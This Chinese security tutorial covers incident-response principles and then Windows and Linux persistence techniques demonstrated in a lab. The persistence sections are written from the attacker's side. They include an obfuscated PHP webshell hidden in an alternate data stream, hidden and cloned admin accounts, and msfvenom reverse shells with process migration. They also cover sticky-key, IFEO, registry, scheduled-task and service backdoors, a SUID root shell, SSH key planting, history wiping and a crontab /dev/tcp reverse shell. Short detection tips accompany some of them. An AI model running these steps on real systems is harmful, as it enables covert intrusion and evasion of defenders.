应急响应/windows权限维持/Linux权限维持
目录
一、应急响应介绍
1、应急响应的处理原则:
2、技能、知识点与工具
3、应急响应的基本流程
二、Windows权限维持
1、隐藏篇
(1)隐藏文件
1)利用文件属性进行隐藏
2)利用ADS隐藏文件内容
3)ADS shell 可以怎么使用
(2)隐藏账号
(3)进程注入
2、后门篇
(1)粘滞键后门
(2)Logon Scripts后门
(3)映像劫持
(4)注册表自启动后门
(5)计划任务后门
(6)服务自启动后门
(7)组策略设置脚本启动
三、Linux权限维持
1、隐藏篇
(1)隐藏文件
(2)隐藏文件时间戳
(3)隐藏权限
(4)隐藏历史操作命令
2、后门篇
(1)一句话添加用户和密码
(2)SUID Shell
(3)SSH免密登录
(4)Crontab反弹shell
一、应急响应介绍
-
应急响应相当于站在防御角度,作为一个防御方,将损失降到最低。
-
当企业发生黑客入侵、系统崩溃或者其他影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业晚会或者减少经济损失。
常见事件分类:
Web入侵:网页挂马、主页篡改、Webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDos攻击、DNS劫持、ARP欺骗
1、应急响应的处理原则:
-
3W1H原则:3W即Who、What、Why,1H即How,做应急响应要带着疑问来做事,⼀定要收集清楚这些信息。⽹络拓扑是怎么样的?需求是啥?发⽣了什么事?你能做什么?⽤户⽤了什么产品?产品版本多少?病毒库版本多少?多少主机中了?主机是普通PC还是服务器?服务器是做什么的?……信息收集越多,对应急响应越有利。
-
易失性原则:**先收集最容易丢失的信息**。做应急响应免不了要做信息收集和取证的,但这⾥是有⼀定的先后顺序的,即最容易丢失的据,应该最先收集,其它的依次类推。
-
要素原则:做应急响应,主要是抓关键证据,即要素,这些要素包括样本、流量、⽇志、进程及模块、内存、启动项。
-
避害原则:做应急响应,要做到趋利避害,不能问题还没有解决,反⽽引⼊了新的问题。譬如,⾃⼰使⽤的⼯具被感染⽽不知情;给⽤户使⽤不恰当的⼯具或软件造成客户主机出现问题;给别⼈发样本,不加密,不压缩,导致别⼈误点中毒,最极端的场景就是给别⼈发勒索样本不加密压缩,导致别⼈误点中毒。
2、技能、知识点与工具
-
应急⼯具集:应急响应必要的⼀套⼯具集合,可协助应急⼈员做分析,提⾼效率。
-
⽇志分析:能对⽇志进⾏分析,包括但不限于系统⽇志(Windows/Linux等)、应⽤⽇志、安全设备⽇志(防⽕墙、防病毒、态势感知等)。
-
威胁情报:安全事件可能不是孤⽴的,安全站点或搜索站点能找到安全事件的关联信息。
-
漏洞补丁知识:知道漏洞与补丁的关系,它们在应急响应中的⻆⾊,了解常⻅漏洞及补丁。
-
常⻅病毒及分类:知道病毒⼤致的分类以及常⻅的病毒。
-
样本分析:⾄少能对样本进⾏⼀次简单动态的分析。
-
操作系统知识:⾄少对Windows系统和Linux系统的有⼀定的知识储备,知道其基础的⼯作原理。
3、应急响应的基本流程
-
准备阶段:应急团队建设,应急预案制定
-
检测阶段:找到问题根源,确认事件级别
-
抑制阶段:快速响应事件,将损失最小化
-
根除阶段:加强安全措施,彻底根除隐患
-
恢复阶段:恢复业务系统,保持正常运作
-
总结阶段:事件复盘总结,响应报告输出
二、Windows权限维持
只有了解到了作为攻击者是如何进行权限维持的,才可以在自己的机器上面查找相关的有疑点的账号或者代码或者其他的内容,从而进行根除,从而保证机器的网络安全。
1、隐藏篇
(1)隐藏文件
1)利用文件属性进行隐藏
A 找到一个文件--鼠标右击选择文件属性--勾选隐藏--点击确定,则在这个文件夹里看不到已经隐藏的文件了。(实验环境是windows11操作系统。)
打开文件夹--点击查看--查看隐藏项目--则可以看到被隐藏的文件。
这种隐藏方式需要有目标主机的桌面才可以进行操作,一般情况下攻击者拿到webshell,使用蚁剑进行连接,拿到的都是虚拟终端,直接拿到桌面的可能不大。
B 所以我们需要使用操作系统的命令对文件进行隐藏.(实验环境是windows 7操作系统。)进行该种方式的文件隐藏的前提是已经webshell,通过蚁剑进行连接能够打开目标机器的命令行输入。
attrib +s +a +h +r post.php
在蚁剑中--找到上传的post.php文件--在该文件夹处右击--选在在此处打开虚拟终端(这个时候可以看到虚拟终端前面的目录是post.php所在的文件夹)--输入上面命令--在虚拟终端中ls可以看到该文件--但是在网站源代码下面已经无法看见上传的文件了。这样就做到了真正的隐藏文件,不管你是否显示隐藏文件,在此文件夹中都无法看见已经隐藏的文件。
通过输入下面命令,可以恢复隐藏的文件。
attrib -s -a -h -r post.php
也可以通过输入下面的命令来隐藏该文件夹下面的所有文件。当attrib后面不加文件名的时候,则可以实现该文件夹下面的所有文件都被隐藏。
attrib +s +a +h +r
如何破解这种通过蚁剑虚拟终端隐藏的文件呢?
在该文件夹中点击组织--文件夹搜索和布局--查看--取消“隐藏受保护的操作系统文件”--在隐藏文件和文件夹种勾选“显示隐藏的文件、文件夹和驱动器”选项,从而可以破解使用蚁剑虚拟终端隐藏文件的方法。
2)利用ADS隐藏文件内容
实验环境:win7+phpstudy+DVWA 其中win7的ip是10.0.0.175
ADS数据流
通过蚁剑连接DVWA的网站,然后打开网站的目录/phpstudy_pro/www/DVWA,右击选择在此处打开虚拟终端,然后再终端中输入下面的命令,实现将一句话木马进行重定向,从而隐藏其内容。
echo ^<?php @eval($_POST['test']);?^> > index.php:hidden.jpg ^这个是用来转义<>这两个符号的 除了php结构之外的>是重定向的意思 意思是把一句话木马重定向到index.php中,也可以重定向到网页中任何一个正常的文件中。 后面的:hidden.jpg是可以随便写的。 这么做的目的就是生成了一个隐藏的文件,常规的文件管理器,type命令,dir命令,del命令都找不出hidden.jpg这个文件。
使用10.0.0.175/DVWA/index.php:hidden.jpg是无法访问到该文件的。
查看index.php:hidden.jpg
dir /r 或者 notepad index.php:hidden.jpg (使用这个命令没有查看到内容)
如何删除index.php:hidden.jpg
直接删除index.php即可。
3)ADS shell 可以怎么使用
可以通过文件包含对上面隐藏的文件进行访问,从而可以获取webshell,实现权限保持。
一个正常文件里把这个ADS文件包含进去,<?php include('index.php:hidden.jpg')?>,这样子就可以正常解析我们插入的那句语句了。这边要解决的是include函数,如何让他检测不出来可疑的引用文件呢:我们可以是用免杀的方式来进行绕过。
利用PHP pack()函数将index.php:hidden.jpg进行hex十六进制编码。
<?php @include(PACK('H*','index.php:hidden.jpg'));?>
结果为:
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
进一步使用php可变变量进行二次转换,可以实现绕过D盾扫描。
<?php $a="696E6465782E7068703"."A68696464656E2E6A7067"; $b="a"; include(PACK('H*',$$b)) ?>
(2)隐藏账号
已经获取到webshell,然后通过webshell想要创建一个新的账户,并且将这个账户进行隐藏,从而实现权限维持。
隐藏账号的前提条件:第一点是目标主机开启了远程桌面连接;第二点是知道目标主机的账号和密码。
实验环境的部署:目标主机是虚拟机win7,攻击者的主机是win11. 在虚拟机win7(ip是10.0.0.175)打开计算机--控制面板--系统与安全--在系统中有一个允许远程访问打开--点击远程--选择允许运行任意版本远程桌面的计算机连接--点击确定; 使用自己的物理机(我的物理机是windows11)去进行远程连接虚拟机win7:win+R--输入mstsc--输入虚拟机的ip10.0.0.175--输入用户和密码--远程连接成功;
在目标主机win7操作系统的命令行下,建立一个用户名为test$,密码为123456的简单隐藏账户,并且把该隐藏账户提升为管理员权限。
在虚拟机中,cmd命令行中输入下面命令:创建用户使用的权限是administrators权限进行创建的。 net user test$ 123456 /add #创建隐藏账号,在账号的后面加入$则可以实现账号隐藏 net localgroup administrators test$ /add #提升账号权限为administrators
通过这种方式隐藏的账号虽然使用net user看不到该用户;但是在控制面板和本地用户组中是可以显示此用户的:鼠标放在计算机处右击鼠标--点击管理--点击本地用户和组--点击用户就可以看到刚才创建的新用户了。
想要把该隐藏账户提升为管理员权限,可以进行账号克隆。克隆之前,我们点击开始--运行,输入regedit后回车,到“HKEY_LOCAL_MACHINE\SAM\SAM”,会发现无法展开该处所在的键值。这是因为系统默认对系统管理员给与“写入”和“读取控制”权限,没有给与修改权限,因此我们没有办法对“SAM”项下的键值进行查看和修改。单击右键权限,把名为“administrator”的用户赋予完全控制以及读取的权限,在后面直接打勾就可以。刷新则可以打开相应的键值。
克隆方式为:将administrator的F值复制到test$账户中--将test$相关的注册表内容导出(000003E8和test$导出,以原文件名进行命名,不要更改文件名字)--执行命令net user test$ /del删除test$用户--双击备份的注册表生成克隆账号,两个都要双击点击是,点击确定即可--使用win11进行远程连接--连接账户利用test$/123456--结果发现仍然能够登录成功,并且权限是administrator权限。
检查这种克隆账号的方式是使用D盾查杀工具。使用克隆账号检测功能进行查看,可以检测出隐藏、克隆账号。
(3)进程注入
使用kali linux生成一个恶意程序。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.162 LPORT=7764 -f exe > 7764.exe 我kali机器的ip是10.0.0.162.
在msf进行监听。
msfconsole use exploit/mutil/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.0.0.162 set lport 7764 exploit
将这个恶意程序通过DVWA文件上传漏洞上传至网站,在蚁剑中进行恶意程序的运行,从而反弹shell。
在蚁剑虚拟终端中输入 7764.exe 回车
通过一些安全防护工具可以查看到7764.exe这个进程,作为攻击者我应该让该进程隐藏或者消失,防止目标机器的安全人员追踪到我。使用进程迁移的方式可以实现该目标。
migrate 一个正常进程的PID eg: ps #使用ps查看当前可以进行迁移的进程 migrate 352 #将当前的进程迁移到352 相当于把7764.exe的进程隐藏到其他正常的进程中了,这样就防止了安全人员发现可疑的进程,从而有利于攻击者进行攻击信息搜寻
面对进程注入的解决方案是将目标机器进行重启,重启之后进程会消失,则攻击者也无法继续进行控制了。
2、后门篇
使用环境win7.
(1)粘滞键后门
实验背景是已经通过其他的漏洞获取到了webshell,并且进行windows提权操作,将权限提为administrator,在管理员权限下面进行设置,从而实现权限维持,通过这个粘滞键后门可以实现上面进程迁移重启就断了控制的问题。
粘滞键指的是电脑使用中的一种快捷键。粘滞键的主要功能是方便shift等键的组合使用,一般情况下,连按五次shift会出现粘滞键提示。
sethc.exe是粘滞键的调用文件,我们对其进行修改,使得修改之后的按下五次shift,出现的是命令行键。
具体操作为: 1、将sethc.exe的安全设置当前所有者改为administrator,保证administrator对sethc.exe的完全控制。 点击计算机--C盘--windows--system32--找到sethc.exe--右击--点击属性--点击安全--点击高级--点击所有者--点击编辑--点击修改为administrator(win7-PC\Administrator)--点击确定--选中administrator点击编辑--选择完全控制--点击确定。
2、将粘滞键修改为cmd
粘滞键的位置在c:\windows\system32\sethc.exe--找到该目录--在该目录下面打开cmd--执行命令
move sethc.exe sethc1.exe #将原本的sethc改名为sethc1
copy cmd.exe sethc.exe #将cmd复制并重命名为sethc
此时在登录界面连按5次shift键即可以启动cmd,而且不需要登录就可以执行。恢复操作:
del sethc.exe
move sethc1.exe sethc.exe
(2)Logon Scripts后门
Logon Scripts是Windows登录脚本,当⽤户登录时触发,它能够优先于杀毒软件执⾏,从⽽绕过杀毒软件对敏感操作的拦截。
使用administrator账户进行登录,在cmd中执行下面的命令:
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\7764.exe" #在注册表HKEY_CURRENT_USER\Environment该位置下,会发现创造的UserInitMprLogonScript。C:\Users\Administrator\Desktop\7764.exe是存放木马的路径。
在kali系统中开启监听--重新启动客户机--选择administrator进行登录--则通过监听可以直接webshell。
exploit -j 后台监听 sessions -l 后台会话
(3)映像劫持
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在Windows NT架构的系统⾥,IFEO的本意是为⼀些在默认系统环境中运⾏时可能引发错误的程序执⾏提供特殊的环境设定。当⼀个可执⾏程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,⽽Windows NT架构的系统能通过这个注册表项使⽤与可执⾏程序⽂件名匹配的项⽬作为程序载⼊时的控制依据,最终得以设定⼀个程序的堆管理机制和⼀些辅助机制等。出于简化原因,IFEO使⽤忽略路径的⽅式来匹配它所要控制的程序⽂件名,所以程序⽆论放在哪个路径,只要名字没有变化,它的运⾏就不会出问题。
在cmd下输入下面的命令:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f #在注册表位置HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe
此时点击五次shift键会打开cmd。
(4)注册表自启动后门
方法一:在administrater用户登录下,在cmd中输入以下命令:
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\Users\7764.exe" #在注册表位置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加键test1,值为后门程序路径。
重新启动会⾃动运⾏后⻔程序,通过kali监听则可以看到webshell上线成功。
方法二:在administrater用户登录下,在cmd中输入以下命令:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon修改键Userinit的值,重启就会⾃动运⾏程序。
C:\Users\7764.exe
(5)计划任务后门
在目标机器的cmd中执行下面命令,相当于这个恶意程序已经上传到目标网站了,然后通过shell,执行下面的命令使得目标机器定时自启动恶意程序,从而实现权限维持。
schtasks /Create /tn Updater /tr C:\Users\7764.exe /sc minute /mo 1 #每1分钟⾃动执⾏7764.exe chcp 437 #修改编码 schtasks #查看计划任务
使用kali监听,一分钟后会收到会话。
删除计划任务:
schtasks /delete /tn Updater
(6)服务自启动后门
⾃启动服务⼀般是在电脑启动后在后台加载指定的服务程序,我们可以将exe⽂件注册为服务,也可以将dll⽂件注册为服务。
在adminstrater用户下cmd中输入: sc create test binpath= C:\Users\Administrator\Desktop\7764.exe (注意等号后⾯有空格)#创建服务 sc config test start= auto #设置服务为⾃动启动 net start test #启动服务
采用kali监听,即可收到反弹shell。
(7)组策略设置脚本启动
用户启动电脑,则会执行该脚本。
首先创建一个脚本1.bat,此处为添加隐藏用户,内容如下:
@echo off net user test$ qqq111! /add net localgroup administrators test$ /add exit
gpedit.msc打开组策略配置脚本(启动/关机),添加脚本,关机就会⾃动执⾏脚本。
关机后重启发现,已经执⾏了我们的脚本,新建隐藏账户成功。
三、Linux权限维持
1、隐藏篇
实验环境是Centos 7。
(1)隐藏文件
其原理在于将文件放在隐藏文件目录下面,使用ls是无法看见隐藏文件,隐藏文件的特点是前面加了一个点,使用ls -a可以看到隐藏文件。
创建一个隐藏文件:
touch .test
Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看linux下的隐藏文件目录需要用到命令ls -la。在linux的/tmp目录下面,默认存在多个隐藏目录,这些目录是恶意文件常常用来藏身的地方。
(2)隐藏文件时间戳
Linux下隐藏后门必须修改时间,否则很容易就会被发现,直接利用touch就可以,可以将时间戳改为某年某月某日。
touch -t 1908081042.30 post.php 时间为2019年8月8日10点42分30秒
(3)隐藏权限
在Linux中,使用chattr命令为文件添加锁定属性,来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i post.php #为文件添加锁定属性 lsattr post.php #属性查看 chattr -i post.php #解除锁定 rm -rf post.php #删除文件
(4)隐藏历史操作命令
如果在shell中执行的命令,不希望被记录在历史命令中,如何在linux中开启无痕操作模式呢?
方法一:只针对你的操作关闭历史记录
set +o history #临时禁用历史功能 set -o history #取消临时禁用历史功能
当开启临时禁用历史功能之后这意味着在这命令之后你执行的操作是不会被记录在历史命令中的,然而这个命令之前的所有东西都会原样记录在历史命令中。当完成了攻击操作之后,取消临时禁用历史功能。
方法二:针对于已经有一些命令被记录在了历史记录中。
history | grep "keyword" #直接在历史操作中查找第一条被记录的命令 输出历史记录中匹配的命令,每一条命令前面都会有一个数字,在历史记录中删除指定的项: history -d [num]
这种方法是关键记录删除,其他情况比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history #保留前150行的记录,之后的记录都删除了。
2、后门篇
实验环境是kali linux。
(1)一句话添加用户和密码
添加普通用户:
#创建一个用户guest,密码123456的普通用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest #useradd -p方法``是用来存放可执行的系统命令,"$()"也可以存放命令执行语句 useradd -p "$(openssl passwd -1 -salt 'salt' 123456)" guest #chpasswd方法 useradd guest;echo 'guest:123456'|chpasswd #echo -e方法 useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户:
#创建一个用户名guast,密码123456的root用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guast -o -u 0 -g root -G root -s /bin/bash -d /home/test
可疑用户排查:
#查询特权用户(uid=0) awk -F: '$3==0{print $1}' /etc/passwd #/etc/passwd文件的第三列中为0的行,如果找到了打印出这一行的第一列也就是用户名 #查询可以远程登录的账号信息 awk '/\$1|\$6/{print $1}' /etc/shadow #除了root账号以外,其他账号是否存在sudo权限,如非管理需要,普通账号应该删除sudo权限 more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
(2)SUID Shell
SUID shell是一种可用于以拥有者权限运行的shell。
#创建一个普通用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest #在root用户下输入下面的命令 cp /bin/bash /tmp/shell chmod u+s /tmp/shell #将用户切换为guest su guest whoami --guest #执行这个命令 /tmp/shell -p whoami --root
使用guest用户登录就能获取root权限了。bash2针对sudi做了一些防护措施,需要使用-p参数来获取root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。
排查技巧:
#在linux中查找使用SUID设置的文件 find . -perm /4000 # 在Linux中查找使⽤SGID设置的⽂件 find . -perm /2000 # 取消s权限 chmod u-s /tmp/shell
(3)SSH免密登录
前提条件: 1、⽬标机器开启SSH服务且允许密钥登录 2、攻击者拥有⽬标机器的Webshell
在服务端上⽣成⼀对公私钥,然后把公钥安装到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配,如果匹配成功就可以登录了。在服务器上执⾏命令:
ssh-keygen -t rsa
过程中按三次回⻋,执⾏结束如下图:
进入/root/.ssh/文件夹查看内容:
cd /root/.ssh/ ls >>id_rsa id_rsa.pub
其中 id_rsa 为私钥, id_rsa.pub 为公钥。接下来需要在服务器上安装公钥,即将 id_rsa.pub 的内容追加到 /root/.ssh/authorized_keys 内:
cat id_rsa.pub >> authorized_keys
vim /etc/ssh/sshd_config,开启密钥登录的认证⽅式:
保存私钥。
cat id_rsa #将里面的内容复制,在本地文件中创建一个文本文件,将其保存,此刻可以直接利用该密码进行登录。
排查技巧:查看 /root/.ssh/authorized_keys 是否被修改,结合⽂件时间戳、历史命令等进⾏排查。
(4)Crontab反弹shell
Crontab命令⽤于设置周期性被执⾏的指令。新建shell脚本,利⽤脚本进⾏反弹。
创建shell脚本,例如在当前⽬录创建1.sh。
#!/bin/sh . /etc/profile . ~/.bash_profile bash -i >& /dev/tcp/IP/9999 0>&1
chmod +sx 1.sh
crontab -e 设置定时任务
#每⼀分钟执⾏⼀次 */1 * * * * root /root/test/1.sh
重启crond服务, service crond restart ,然后就可以⽤nc接收shell。1分钟后接收到shell
排查技巧:
# 查看可疑的定时任务列表 crontab -e